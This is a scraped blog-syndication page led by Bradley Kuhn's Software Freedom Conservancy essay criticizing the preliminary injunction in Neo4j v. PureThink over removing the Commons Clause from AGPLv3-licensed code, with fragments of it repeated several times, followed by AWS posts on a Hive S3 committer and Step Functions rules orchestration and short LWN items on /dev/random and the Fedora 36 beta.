An Erroneous Preliminary Injunction Granted in Neo4j v. PureThink

2022-03-30 Bradley M. Kuhn

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2022/03/30/neo4j-v-purethink-open-source-affero-gpl.html

[ A version of this article was also posted on Software
Freedom Conservancy’s blog. ]

Bad Early Court Decision for AGPLv3 Has Not Yet Been Appealed

We at
Software Freedom Conservancy proudly and vigilantly watch out
for your rights under copyleft licenses such as the Affero GPLv3.
Toward this goal, we have studied the Neo4j, Inc. v. PureThink, LLC ongoing case in the Northern District of California , and the preliminary injunction appeal decision in
the Ninth Circuit Court this month. The case is complicated, and
we’ve seen much understandable confusion in the public discourse about the status of the case
and the impact of the Ninth Circuit’s decision to continue the trial court’s preliminary injunction while the case continues. While
it’s true that part of the summary judgment decision in the lower court bodes badly for an important provision in
AGPLv3§7¶4, the good news is that the case is not over, nor was
the appeal (decided this month) even an actual appeal of the
decision itself! This lawsuit is far from completion.

A Brief Summary of the Case So Far

The primary case in question is a dispute between Neo4j,
a proprietary
relicensing company, against a very small company called PureThink, run by
an individual named John Mark Suhy. Studying the docket of the case, and a relevant related case, and
other available public materials, we’ve come to understand some basic facts and
events.
To paraphrase LeVar Burton, we encourage all our readers to not take our word (or anyone else’s) for it,
but instead take the time to read the dockets and come to your own
conclusions.

After canceling their formal, contractual partnership with Suhy, Neo4j alleged multiple claims
in court against Suhy and his companies. Most of these claims centered around trademark
rights regarding “Neo4j” and related marks. However, the
claims central to our concern relate to a dispute between Suhy and Neo4j regarding Suhy’s
clarification in downstream licensing of the Enterprise version that Neo4j distributed.

Specifically, Neo4j attempted to license the codebase under something they (later, in their Court filings)
dubbed the “Neo4j Sweden Software License” — which consists of a LICENSE.txt file containing
the entire text of the Affero General Public License, version 3
(“AGPLv3”) (a license that I helped write), and the
so-called
“Commons Clause” — a toxic proprietary license. Neo4j admits that
this license mash-up (if legitimate, which we at Software Freedom
Conservancy and Suhy both dispute), is not an “open source
license”.

There are many complex issues of trademark and breach of other contracts
in this case; we agree that there are lots of
interesting issues there. However, we focus on the matter of most interest to us and many FOSS activists: Suhy’s permissions to remove of the “Commons
Clause”. Neo4j
accuses Suhy of improperly removing the “Commons Clause” from the codebase (and
subsequently redistributing the software under pure AGPLv3) in paragraph 77 of
their third amended complaint. (Note that
Suhy denied
these allegations in court — asserting that his removal of the “Commons Clause” was legitimate and permitted.

Neo4j filed
for summary judgment on all the issues, and throughout their summary
judgment motion, Neo4j argued that the removal of the “Commons Clause” from
the license information in the repository (and/or
Suhy’s suggestions to others that removal of the “Commons Clause” was legitimate)
constituted behavior that the Court should enjoin or otherwise
prohibit. The Court partially granted Neo4j’s motion for summary judgment. Much of
that ruling is not particularly related to FOSS licensing questions, but
the
section regarding licensing deeply concerns us. Specifically, to
support the Court’s order that temporarily prevents Suhy and others from saying that
the Neo4j Enterprise edition that was released under the so-called
“Neo4j Sweden Software License” is a “free and open
source” version and/or alternative to proprietary-licensed Neo4j
EE, the Court held that removal of the “Commons Clause” was not permitted. (BTW, the court confuses “commercial” and
“proprietary” in that section — it seems they do not
understand that FOSS can be commercial as well.)

In this instance, we’re not as concerned with the names used for the software; as much as the copyleft licensing question — because it’s
the software’s license, not its name, that either assures or prevents users to exercise their fundamental software rights. Notwithstanding our disinterest
in the naming issue, we’d all likely agree that —
if “AGPLv3 WITH Commons-Clause” were a legitimate form of licensing — such a license is not FOSS.
The primary issue, therefore, is not about whether or not this software is FOSS, but whether or not the “Commons Clause” can
be legitimately removed by downstream licensees when presented with a license of “AGPLv3 WITH Commons-Clause”. We believe the Court held incorrectly by concluding that Suhy was not permitted to remove the
“Commons Clause”. Their order that enjoins Suhy from calling the resulting code
“FOSS” — even if it’s a decision that bolsters a
minor goal of some activists — is problematic because the
underlying holding (if later upheld on appeal) could seriously harm
FOSS and copyleft.

The Confusion About the Appeal

Because this was an incomplete summary judgment and the case is ongoing,
the injunction against Suhy’s on making such statements is a preliminary injunction,
and cannot be made permanent until the case actually completes in the trial court. The
decision
by the Ninth Circuit appeals court regarding this preliminary injunction has
been widely reported by others as an “appeal decision” on the issue of what can be called “open source”. However, this
is not an appeal of the entire summary judgment decision, and certainly not an appeal of the entire case (which
cannot even been appealed until the case completes). The Ninth Circuit decision merely affirms that Suhy
remains under the preliminary injunction (which prohibits him and his companies from taking certain actions and saying certain things publicly) while the case continues. In fact, the standard that an
appeals Court uses when considering an appeal of a preliminary injunction differs from the standard for ordinary appeals. Generally speaking, appeals Courts
are highly deferential to trial courts regarding preliminary injunctions, and appeals of actual decisions have a much more stringent standard.

The Affero GPL Right to Restriction Removal

In their partial summary judgment ruling, the lower Court erred because they rejected an
important and (in our opinion) correct counter-argument made by Suhy’s attorneys.
Specifically, Suhy’s attorneys argued that Neo4j’s license expressly
permitted the removal of the “Commons Clause” from the
license. AGPLv3 was, in fact, drafted to permit such removal in this precise fact pattern.

Specifically, the AGPLv3 itself has the following provisions (found in AGPLv3§0 and
AGPLv3§7¶4):

“This License” refers to version 3 of the GNU Affero
General Public License.

“The Program” refers to any copyrightable work licensed under this
License. Each licensee is addressed as “you”.

If the Program as you received it, or any part of it, contains a notice
stating that it is governed by this License along with a term that is a
further restriction, you may remove that term.

That last term was added to address a real-world, known problem with GPLv2.
Frequently throughout the time when GPLv2 was the current version, original copyright holders and/or licensors
would attempt to license work under the GPL with additional restrictions. The problem was rampant and caused much confusion among licensees.
As an attempted solution, the FSF (the publisher of the various
GPL’s) loosened
its restrictions on reuse of the text of the GPL — in hopes that would provide a route for
reuse of some GPL text, while also avoiding confusion for licensees. Sadly, many licensors
continued to take the confusing route of using the entire text a GPL
license with an additional restriction — attached either before or after, or both. Their goals were obvious and nefarious: they
wanted to confuse the public into “thinking” the software was
under the GPL, but in fact restrict certain other activities (such as
commercial redistribution). They combined this practice with proprietary relicensing (i.e., a sole
licensor selling separate proprietary licenses while releasing a (seemingly FOSS) public version of the code as demoware for marketing).
Their goal is to build on the popularity of the GPL, but in direct opposition to the GPL’s policy goals; they manipulate the GPL to open-wash bad policies rather than give actual rights to users.
This tactic even permitted bad actors to sell “gotcha” proprietary licenses to those who were legitimately confused. For example,
a company would look for users operating commercially with the code in compliance with GPLv2, but hadn’t noticed the company’s code had the statement: “Licensed GPLv2, but not for commercial use”. The user had seen GPLv2, and knew from its brand reputation that it
gave certain rights, but hadn’t realized that the additional restriction outside of the GPLv2’s text might actually be valid. The goal was to catch users
in a sneaky trap.

Neo4j tried to use the AGPLv3 to set one of those traps. Neo4j, despite the permission in the FSF’s GPL FAQ to “use the GPL
terms (possibly modified) in another license provided that you call your
license by another name and do not include the GPL preamble”,
left
the entire AGPLv3 intact as the license of the software — adding only a note at the front and at the
end. However, their users can escape the trap, because GPLv3 (and AGPLv3) added
a clause (which doesn’t exist in GPLv2) to defend users from this. Specifically,
AGPLv3§7¶4 includes a key provision to help this situation.

Specifically, the clause was designed to give more rights to downstream recipients when bad
actors attempt this nasty trick. Indeed, I recall from my direct participation in
the A/GPLv3 drafting that this provision was specifically designed for the
situation where the original, sole copyright
holder/licensor⁰
added additional restrictions. And, I’m not the only one who recalls this.
Richard Fontana (now a lawyer at IBM’s Red Hat,
but previously legal counsel to the FSF during the GPLv3 process), wrote on a mailing list¹
in
response to the Neo4j preliminary injunction ruling:

For those who care about anecdotal drafting history … the whole point of the section 7 clause (“If the Program as you received it, or any part of
it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that
term.”) was to address the well known problem of an original GPL
licensor tacking on non-GPL, non-FOSS, GPL-norm-violating
restrictions, precisely like the use of the Commons Clause with the
GPL. Around the time that this clause was added to the GPLv3 draft,
there had been some recent examples of this phenomenon that had been
picked up in the tech press.

Fontana also pointed us to the FSF’s own words on the subject, written during their process of drafting this section of the license (emphasis ours):

Unlike additional permissions, additional requirements that are allowed under subsection 7b may not be
removed. The revised section 7 makes clear that this condition does not
apply to any other additional requirements, however, which are removable
just like additional permissions. Here we are particularly concerned
about the practice of program authors who purport to license their works
under the GPL with an additional requirement that contradicts the terms
of the GPL, such as a prohibition on commercial use. Such terms can
make the program non-free, and thus contradict the basic purpose of the
GNU GPL; but even when the conditions are not fundamentally unethical,
adding them in this way invariably makes the rights and obligations of
licensees uncertain.

While the intent of the original drafter of a license text is not
dispositive over the text as it actually appears in the license, all this information was available to Neo4j
as they drafted their license. Many voices in the community had told them that provision in AGPLv3§3¶4
was added specifically to prevent what Neo4j was trying to do. The FSF, the copyright holder of the actual text of the AGPLv3, also publicly
gave Neo4j permission to draft a new license, using any provisions they like from AGPLv3
and putting them together in a new way. But Neo4j made a conscious choice to not do that,
but instead constructed their license in the exact manner that allowed Suhy’s removal
of the “Commons Clause”.

In addition, that provision in AGPLv3§3¶4 has little
meaning if it’s not intended to bind the original licensor!
Many other provisions (such as AGPLv3§10¶3) protect the users
against further restrictions imposed later in the distribution chain of
licensees. This clause was targeted from its inception against the
exact, specific bad behavior that Neo4j did here.

We don’t dispute that copyright and contract law give Neo4j authority to
license their work under any terms they wish — including terms that we consider unethical or immoral. In fact, we already pointed out above that
Neo4j had permission to pick and choose only some text from AGPLv3. As long as
they didn’t use the name “Affero”, “GNU” or
“General Public” or include any of the Preamble text in the name/body of
their license — we’d readily agree that Neo4j could have put together a bunch
of provisions from the AGPLv3, and/or the “Commons Clause”, and/or any other license
that suited their fancy. They could have made an entirely new license. Lawyers commonly do share text of
licenses and contracts to jump-start writing new ones. That’s a
practice we generally support (since it’s sharing a true commons of ideas freely — even if the resulting license might not be FOSS).

But Neo4j consciously chose not to do that. Instead, they license their software
“subject to the terms of the GNU AFFERO GENERAL PUBLIC LICENSE Version
3, with the Commons Clause”. (The name “Neo4j Sweden Software
License” only exists in the later Court papers, BTW, not with “The Program” in question.) Neo4j defines
“This License” to mean “version 3 of the GNU Affero General
Public License.”. Then, Neo4j tells all licensees
that “If the Program as you received it, or any part of it, contains a
notice stating that it is governed by this License along with a term that is
a further restriction, you may remove that term”. Yet, after all that, Neo4j had the audacity
to claim to the Court that they didn’t actually mean that last sentence, and the Court rubber-stamped that view.

Simply put, the Court
erred when
it said: “Neither of the two provisions in the form AGPLv3 that
Defendants point to give licensees the right to remove the information at
issue.”. The Court then used that error as a basis for its ruling
to temporarily enjoin Suhy from stating that software with
“Commons Clause” removed by downstream is “free and open
source”, or tell others that he disagrees with the Court’s (temporary) conclusion about removing the “Commons Clause” in this situation.

What Next?

The case isn’t over. The lower Court still has various issues to consider — including a DMCA claim regarding
Suhy’s removal of the “Commons Clause”.
We suspect that’s why the Court only made a preliminary injunction against Suhy’s
words, and did not issue an injunction against the actual removal of
the clause! The issue as to whether the clause can be removed is still pending, and the current summary judgment decision doesn’t address
the DMCA claim from Neo4j’s complaint.

Sadly,
the Court
has temporarily enjoined Suhy from “representing that Neo4j
Sweden AB’s addition of the Commons Clause to the license governing Neo4j
Enterprise Edition violated the terms of AGPL or that removal of the Commons
Clause is lawful, and similar statements”. But they haven’t enjoined
us, and our view on the matter is as follows:

Clearly, Neo4j gave explicit permission, pursuant to the
AGPLv3, for anyone who would like to to remove the “Commons
Clause” from their LICENSE.txt file in version 3.4 and other versions
of their Enterprise edition where it appears. We believe that you have full
permission, pursuant to AGPLv3, to distribute that software under the terms
of the AGPLv3 as written. In saying that, we also point out that we’re not
a law firm, our lawyers are not your lawyers, and this is not legal advice.
However, after our decades of work in copyleft licensing, we know well the
reason and motivations of this policy in the license (describe above), and given the error by
the Court, it’s our civic duty to inform the public that the
licensing conclusions (upon which they based their temporary injunction) are incorrect.

Meanwhile, despite what you may have read last week, the key software licensing issues in this
case have not been decided — even by the lower Court. For example, the DMCA issue is still before the trial court.
Furthermore, if
you do read the docket of this case, it will be obvious that
neither party is perfect. We have not analyzed every action Suhy took, nor do we have any comment
on any action by Suhy other than this: we believe that Suhy’s
removal of the “Commons Clause” was fully permitted by
the terms of the AGPLv3, and that Neo4j gave him that permission in that license. Suhy also did a great service to the community by taking
action that obviously risked litigation against him.
Misappropriation and manipulation of the strongest and most
freedom-protecting copyleft license ever written to bolster a proprietary
relicensing business model is an affront to FOSS and its advancement. It’s even worse when the Courts are on the side of the bad actor.
Neo4j should not have done this.

Finally, we note that the Court was rather narrow on what it said regarding the question of “What Is Open Source?”. The Court
ruled that one individual and his companies — when presented with ambiguous licensing information
in one part of a document, who then finds another part of the document grants permission
to repair and clarify the licensing information, and does so — is temporarily forbidden
from telling others that the resulting software is, in fact, FOSS, after making such a change.
The ruling does not set precedent, nor does it bind anyone other than the Defendants as to what
they can or cannot say is FOSS, which is why we can say it is FOSS, because the AGPLv3 is an OSI-approved
license and the AGPLv3 permits removal of the toxic “Commons Clause” in this situation.

We will continue to follow this case and write further when new events occur..

⁰
We were unable to find anywhere in the Court record that shows Neo4j used a Contributor Licensing Agreement (CLA) or Copyright
Assignment Agreement (©AA) that sufficiently gave them exclusive rights as licensor of this software. We did however
find evidence online that Neo4j accepted contributions from others. If Neo4j is, in fact, also a licensor of others’ AGPLv3’d
derivative works that have been incorporated into their upstream versions, then there are many other arguments (in addition to the one
presented herein) that would permit removal of the “Commons Clause”. This issue remains an open question of fact in this case.

¹ Fontana made these statements on a mailing list
governed by an odd confidentiality rule called CHR (which was originally designed for in-person meetings with a beginning and an end, not
a mailing list). Nevertheless, Fontana explicitly waived CHR (in writing) to allow me to quote his words publicly.

An Erroneous Preliminary Injunction Granted in Neo4j v. PureThink

2022-03-30 Bradley M. Kuhn

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2022/03/30/neo4j-v-purethink-open-source-affero-gpl.html

[ A version of this article was also posted on Software
Freedom Conservancy’s blog. ]

Bad Early Court Decision for AGPLv3 Has Not Yet Been Appealed

A Brief Summary of the Case So Far

The Confusion About the Appeal

The Affero GPL Right to Restriction Removal

Specifically, the AGPLv3 itself has the following provisions (found in AGPLv3§0 and
AGPLv3§7¶4):

“This License” refers to version 3 of the GNU Affero
General Public License.

“The Program” refers to any copyrightable work licensed under this
License. Each licensee is addressed as “you”.

If the Program as you received it, or any part of it, contains a notice
stating that it is governed by this License along with a term that is a
further restriction, you may remove that term.

For those who care about anecdotal drafting history … the whole point of the section 7 clause (“If the Program as you received it, or any part of
it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that
term.”) was to address the well known problem of an original GPL
licensor tacking on non-GPL, non-FOSS, GPL-norm-violating
restrictions, precisely like the use of the Commons Clause with the
GPL. Around the time that this clause was added to the GPLv3 draft,
there had been some recent examples of this phenomenon that had been
picked up in the tech press.

Fontana also pointed us to the FSF’s own words on the subject, written during their process of drafting this section of the license (emphasis ours):

Unlike additional permissions, additional requirements that are allowed under subsection 7b may not be
removed. The revised section 7 makes clear that this condition does not
apply to any other additional requirements, however, which are removable
just like additional permissions. Here we are particularly concerned
about the practice of program authors who purport to license their works
under the GPL with an additional requirement that contradicts the terms
of the GPL, such as a prohibition on commercial use. Such terms can
make the program non-free, and thus contradict the basic purpose of the
GNU GPL; but even when the conditions are not fundamentally unethical,
adding them in this way invariably makes the rights and obligations of
licensees uncertain.

What Next?

We will continue to follow this case and write further when new events occur..

An Erroneous Preliminary Injunction Granted in Neo4j v. PureThink

2022-03-30 Bradley M. Kuhn

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2022/03/30/neo4j-v-purethink-open-source-affero-gpl.html

[ A version of this article was also posted on Software
Freedom Conservancy’s blog. ]

Bad Early Court Decision for AGPLv3 Has Not Yet Been Appealed

A Brief Summary of the Case So Far

The Confusion About the Appeal

The Affero GPL Right to Restriction Removal

Specifically, the AGPLv3 itself has the following provisions (found in AGPLv3§0 and
AGPLv3§7¶4):

“This License” refers to version 3 of the GNU Affero
General Public License.

“The Program” refers to any copyrightable work licensed under this
License. Each licensee is addressed as “you”.

If the Program as you received it, or any part of it, contains a notice
stating that it is governed by this License along with a term that is a
further restriction, you may remove that term.

For those who care about anecdotal drafting history … the whole point of the section 7 clause (“If the Program as you received it, or any part of
it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that
term.”) was to address the well known problem of an original GPL
licensor tacking on non-GPL, non-FOSS, GPL-norm-violating
restrictions, precisely like the use of the Commons Clause with the
GPL. Around the time that this clause was added to the GPLv3 draft,
there had been some recent examples of this phenomenon that had been
picked up in the tech press.

Fontana also pointed us to the FSF’s own words on the subject, written during their process of drafting this section of the license (emphasis ours):

Unlike additional permissions, additional requirements that are allowed under subsection 7b may not be
removed. The revised section 7 makes clear that this condition does not
apply to any other additional requirements, however, which are removable
just like additional permissions. Here we are particularly concerned
about the practice of program authors who purport to license their works
under the GPL with an additional requirement that contradicts the terms
of the GPL, such as a prohibition on commercial use. Such terms can
make the program non-free, and thus contradict the basic purpose of the
GNU GPL; but even when the conditions are not fundamentally unethical,
adding them in this way invariably makes the rights and obligations of
licensees uncertain.

What Next?

We will continue to follow this case and write further when new events occur..

An Erroneous Preliminary Injunction Granted in Neo4j v. PureThink

2022-03-30 Bradley M. Kuhn

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2022/03/30/neo4j-v-purethink-open-source-affero-gpl.html

[ A version of this article was also posted on Software
Freedom Conservancy’s blog. ]

Bad Early Court Decision for AGPLv3 Has Not Yet Been Appealed

A Brief Summary of the Case So Far

The Confusion About the Appeal

The Affero GPL Right to Restriction Removal

Specifically, the AGPLv3 itself has the following provisions (found in AGPLv3§0 and
AGPLv3§7¶4):

“This License” refers to version 3 of the GNU Affero
General Public License.

“The Program” refers to any copyrightable work licensed under this
License. Each licensee is addressed as “you”.

If the Program as you received it, or any part of it, contains a notice
stating that it is governed by this License along with a term that is a
further restriction, you may remove that term.

For those who care about anecdotal drafting history … the whole point of the section 7 clause (“If the Program as you received it, or any part of
it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that
term.”) was to address the well known problem of an original GPL
licensor tacking on non-GPL, non-FOSS, GPL-norm-violating
restrictions, precisely like the use of the Commons Clause with the
GPL. Around the time that this clause was added to the GPLv3 draft,
there had been some recent examples of this phenomenon that had been
picked up in the tech press.

Fontana also pointed us to the FSF’s own words on the subject, written during their process of drafting this section of the license (emphasis ours):

Unlike additional permissions, additional requirements that are allowed under subsection 7b may not be
removed. The revised section 7 makes clear that this condition does not
apply to any other additional requirements, however, which are removable
just like additional permissions. Here we are particularly concerned
about the practice of program authors who purport to license their works
under the GPL with an additional requirement that contradicts the terms
of the GPL, such as a prohibition on commercial use. Such terms can
make the program non-free, and thus contradict the basic purpose of the
GNU GPL; but even when the conditions are not fundamentally unethical,
adding them in this way invariably makes the rights and obligations of
licensees uncertain.

What Next?

We will continue to follow this case and write further when new events occur..

An Erroneous Preliminary Injunction Granted in Neo4j v. PureThink

2022-03-30 Bradley M. Kuhn

Post Syndicated from Bradley M. Kuhn original http://ebb.org/bkuhn/blog/2022/03/30/neo4j-v-purethink-open-source-affero-gpl.html

[ A version of this article was also posted on Software
Freedom Conservancy’s blog. ]

Bad Early Court Decision for AGPLv3 Has Not Yet Been Appealed

A Brief Summary of the Case So Far

The Confusion About the Appeal

The Affero GPL Right to Restriction Removal

Specifically, the AGPLv3 itself has the following provisions (found in AGPLv3§0 and
AGPLv3§7¶4):

“This License” refers to version 3 of the GNU Affero
General Public License.

“The Program” refers to any copyrightable work licensed under this
License. Each licensee is addressed as “you”.

If the Program as you received it, or any part of it, contains a notice
stating that it is governed by this License along with a term that is a
further restriction, you may remove that term.

For those who care about anecdotal drafting history … the whole point of the section 7 clause (“If the Program as you received it, or any part of
it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that
term.”) was to address the well known problem of an original GPL
licensor tacking on non-GPL, non-FOSS, GPL-norm-violating
restrictions, precisely like the use of the Commons Clause with the
GPL. Around the time that this clause was added to the GPLv3 draft,
there had been some recent examples of this phenomenon that had been
picked up in the tech press.

Fontana also pointed us to the FSF’s own words on the subject, written during their process of drafting this section of the license (emphasis ours):

Unlike additional permissions, additional requirements that are allowed under subsection 7b may not be
removed. The revised section 7 makes clear that this condition does not
apply to any other additional requirements, however, which are removable
just like additional permissions. Here we are particularly concerned
about the practice of program authors who purport to license their works
under the GPL with an additional requirement that contradicts the terms
of the GPL, such as a prohibition on commercial use. Such terms can
make the program non-free, and thus contradict the basic purpose of the
GNU GPL; but even when the conditions are not fundamentally unethical,
adding them in this way invariably makes the rights and obligations of
licensees uncertain.

What Next?

We will continue to follow this case and write further when new events occur..

Up to 15 times improvement in Hive write performance with the Amazon EMR Hive zero-rename feature

2022-03-30 Suthan Phillips

Post Syndicated from Suthan Phillips original https://aws.amazon.com/blogs/big-data/up-to-15-times-improvement-in-hive-write-performance-with-the-amazon-emr-hive-zero-rename-feature/

Our customers use Apache Hive on Amazon EMR for large-scale data analytics and extract, transform, and load (ETL) jobs. Amazon EMR Hive uses Apache Tez as the default job execution engine, which creates Directed Acyclic Graphs (DAGs) to process data. Each DAG can contain multiple vertices from which tasks are created to run the application in parallel. Their final output is written to Amazon Simple Storage Service (Amazon S3).

Hive initially writes data to staging directories and then move it to the final location after a series of rename operations. This design of Hive renames supports task failure recovery, such as rescheduling the failed task with another attempt, running speculative execution, and recovering from a failed job attempt. These move and rename operations don’t have a significant performance impact in HDFS because it’s only a metadata operation when compared to Amazon S3 where the performance can degrade significantly based on the number of files written.

This post discusses the new optimized committer for Hive in Amazon EMR and also highlights its impressive performance by running a TPCx-BB performance benchmark and comparing it with the Hive default commit logic.

How Hive commit logic works

By default, Apache Hive manages the task and job commit phase and doesn’t have support for pluggable Hadoop output committers, which you can use to customize Hive’s file commit behavior.

In its current state, the rename operation with Hive-managed and external tables happens in three places:

Task commit – The output of task attempts is stored in its own staging directory. In the task commit phase, they’re renamed and moved to a task-specific staging directory.
Job commit – In this phase, the final output is generated from the output of all committed tasks of a job attempt. Task-specific staging directories are renamed and moved to the job commit staging directory.
Move task – The job commit staging directory is renamed or moved to the final table directory.

The impact of these rename operations is more significant on Hive jobs writing a large number of files.

Hive EMRFS S3-optimized committer

To mitigate the slowdown in write performance due to renames, we added support for output committers in Hive. We developed a new output committer, the Hive EMRFS S3-optimized committer, to avoid Hive rename operations. This committer directly writes the data to the output location, and the file commit happens only at the end of the job to ensure that it is resilient to job failures.

It modifies the default Hive file naming convention from <task_id>_<attempt_id>_<copy_n> to <task_id>_<attempt_id>_<copy_n>-<query_id>. For example, after an insert query in a Hive table, the output file is generated as 000000_0-hadoop_20210714130459_ba7c23ec-5695-4947-9d98-8a40ef759222-1 instead of 000000_0, where the suffix is the combination of user_name, timestamp, and UUID, which forms the query ID.

Performance evaluation

We ran the TPCx-BB Express Benchmark tests with and without the new committer and evaluated the write performance improvement.

The following graph shows performance improvement measured as total runtime of the queries. With the new committer, the runtime is better(lower).

This optimization is for Hive writes and hence the majority of improvement occurred in the load test, which is the writing phase of the benchmark. We observed an approximate 15-times reduction in runtime. However, we didn’t see much improvement in the power test and throughput test because each query is just writing a single file to the final table.

The benchmark used in this post is derived from the industry-standard TPCx-BB benchmark, and has the following characteristics:

The schema and data are used unmodified from TPCx-BB.
The scale factor used is 1000.
The queries are used unmodified from TPCx-BB.
The suite has three tests: the load test is the process of building of test database and is write heavy; the power test determines the maximum speed the system takes to run all the queries; and the Throughput test runs the queries in concurrent streams. The run elapsed times are used as the primary metric.
The power tests and throughput tests include 25 out of 30 queries. The five queries for machine learning workloads were excluded.

Note that this is derived from the TPCx-BB benchmark, and as such is not comparable to published TPCx-BB results, as the results of our tests do not comply with the specification.

Understanding performance impact with different data sizes and number of files

To benchmark the performance impact with variable data sizes and number of files, we also evaluated the following INSERT OVERWRITE query over the store_sales table from the TPC-DS dataset with additional variations, such as size of data (1 GB, 5 GB, 10 GB, 25 GB, 50 GB, 100 GB), number of files, and number of partitions:

SET partitions=100.0
SET files_per_partition=10;

CREATE TABLE store_sales_simple_test
(ss_sold_time_sk int, ss_item_sk int, ss_customer_sk int,
ss_cdemo_sk int, ss_hdemo_sk int, ss_addr_sk int,
ss_store_sk int, ss_promo_sk int, ss_ticket_number bigint,
ss_quantity int, ss_wholesale_cost decimal(7,2),
ss_list_price decimal(7,2), ss_sales_price decimal(7,2),
ss_ext_discount_amt decimal(7,2),
ss_ext_sales_price decimal(7,2),
ss_ext_wholesale_cost decimal(7,2),
ss_ext_list_price decimal(7,2), ss_ext_tax decimal(7,2),
ss_coupon_amt decimal(7,2), ss_net_paid decimal(7,2),
ss_net_paid_inc_tax decimal(7,2),
ss_net_profit decimal(7,2), ss_sold_date_sk int)
PARTITIONED BY (part_key int)
STORED AS ORC
LOCATION 's3://<bucket>/<table_location>';

Insert overwrite table store_sales_simple_test
select * , FLOOR(RAND()*${partitions}) as part_key
from store_sales distribute by part_key, FLOOR(RAND()*${files_per_partition});

The results show that the number of files written is the critical factor for performance improvement when using this new committer in comparison to the default Hive commit logic.

In the following graph, the y-axis denotes the speedup (total time taken with rename / total time taken by query with committer), and the x-axis denotes the data size.

Enabling the feature

To enable Amazon EMR Hive to use HiveEMRFSOptimizedCommitter to commit data as the default for all Hive-managed and external tables, use the following hive-site configuration starting with EMR 6.5.0 or EMR 5.34.0 clusters:

[
  {
    "classification": "hive-site",
    "properties": {
      "hive.blobstore.use.output-committer": "true"
    }
  }
]

The new committer is not compatible with the hive.exec.parallel=true setting. Be sure to not enable both settings at the same time in Amazon EMR 6.5.0. In future EMR releases, parallel execution will automatically be disabled when the new Hive committer is used.

Limitations

This committer will not be used and default Hive commit logic will be applied in the following scenarios:

When merge small files (hive.merge.tezfiles) is enabled
When using Hive ACID tables
When partitions are distributed across file systems such as HDFS and Amazon S3

Summary

The Hive EMRFS S3-optimized committer improves write performance compared to the default Hive commit logic, eliminating Amazon S3 renames. You can use this feature starting with Amazon EMR 6.5.0 and Amazon EMR 5.34.0.

Stay tuned for additional updates on new features and further improvements in Apache Hive on Amazon EMR.

About the Authors

Suthan Phillips works with customers to provide them architectural guidance and helps them achieve performance enhancements for complex applications on Amazon EMR. In his spare time, he enjoys hiking and exploring the Pacific Northwest.

Aditya Shah is a Software Development Engineer at AWS. He is interested in Databases and Data warehouse engines and has worked on distributed filesystem, ACID compliance and metadata management of Apache Hive. When not thinking about data, he is browsing pages of internet to sate his appetite for random trivia and is a movie geek at heart.

Syed Shameerur Rahman is a software development engineer at Amazon EMR. He is interested in highly scalable, distributed computing. He is an active contributor of open source projects like Apache Hive, Apache Tez, Apache ORC and has contributed important features and optimizations. During his free time, he enjoys exploring new places and food.

[$] Problems emerge for a unified /dev/*random

2022-03-30

Post Syndicated from original https://lwn.net/Articles/889452/

In mid-February, we reported on the plan to
unite the two kernel devices that provide random numbers;
/dev/urandom was to effectively just be another way to access the
random numbers provided by /dev/random. That change made it as
far as the mainline during the Linux 5.18 merge window, but it was
quickly reverted when problems were found. It may be possible to
do that unification someday, but, for now, there are environments that need
their random numbers early on—without entropy or the “Linus jitter dance”
being available on the platform.

Fedora 36 beta released

2022-03-29

Post Syndicated from original https://lwn.net/Articles/889602/

The Fedora
36 beta release has been announced.

Fedora 36 Workstation Beta includes GNOME 42, the newest release of
the GNOME desktop environment. GNOME 42 includes a global dark
style UI setting. It also has a redesigned screenshot tool. And
many core GNOME apps have been ported to the latest version of the
GTK toolkit, providing improved performance and a modern look.

If all goes well, the final Fedora 36 release will happen at the end of April.

Using AWS Step Functions and Amazon DynamoDB for business rules orchestration

2022-03-29 James Beswick

Post Syndicated from James Beswick original https://aws.amazon.com/blogs/compute/using-aws-step-functions-and-amazon-dynamodb-for-business-rules-orchestration/

This post is written by Vijaykumar Pannirselvam, Cloud Consultant, Sushant Patil, Cloud Consultant, and Kishore Dhamodaran, Senior Solution Architect.

A Business Rules Engine (BRE) is used in enterprises to manage business-critical decisions. The logic or rules used to make such decisions can vary in complexity. A finance department may have a basic rule to get any purchase over a certain dollar amount to get director approval. A mortgage company may need to run complex rules based on inputs (for example, credit score, debt-to-income ratio, down payment) to make an approval decision for a loan.

Decoupling these rules from application logic provides agility to your rules management, since business rules may often change while your application may not. It can also provide standardization across your enterprise, so every department can communicate with the same taxonomy.

As part of migrating their workloads, some enterprises consider replacing their commercial rules engine with cloud native and open-source alternatives. The motivation for such a move stem from several factors, such as simplifying the architecture, cost, security considerations, or vendor support.

Many of these commercial rules engines come as part of a BPMS offering that provides orchestration capabilities for rules execution. For a successful migration to cloud using an open-source rules engine management system, you need an orchestration capability to manage incoming rule requests, auditing the rules, and tracking exceptions.

This post showcases an orchestration framework that allows you to use an open-source rules engine. It uses Drools rules engine to build a set of rules for calculating insurance premiums based on the properties of Car and Person objects. This uses AWS Step Functions, AWS Lambda, Amazon API Gateway, Amazon DynamoDB, and open-source Drools rules engine to show this. You can swap the rules engine provided you can manage it in the AWS Cloud environment and expose it as an API.

Solution overview

The following diagram shows the solution architecture.

The solution comprises:

API Gateway – a fully managed service that makes it easier to create, publish, maintain, monitor, and secure APIs at any scale for API consumers. API Gateway helps you manage traffic to backend systems, in this case Step Functions, which orchestrates the execution of tasks. For the REST API use-case, you can also set up a cache with customizable keys and time-to-live in seconds for your API data to avoid hitting your backend services for each request.
Step Functions – a low code service to orchestrate multiple steps involved to accomplish tasks. Step Functions uses the finite-state machine (FSM) model, which uses given states and transitions to complete the tasks. The diagram depicts three states: Audit Request, Execute Ruleset and Audit Response. We execute them sequentially. You can add additional states and transitions, such as validating incoming payloads, and branching out parallel execution of the states.
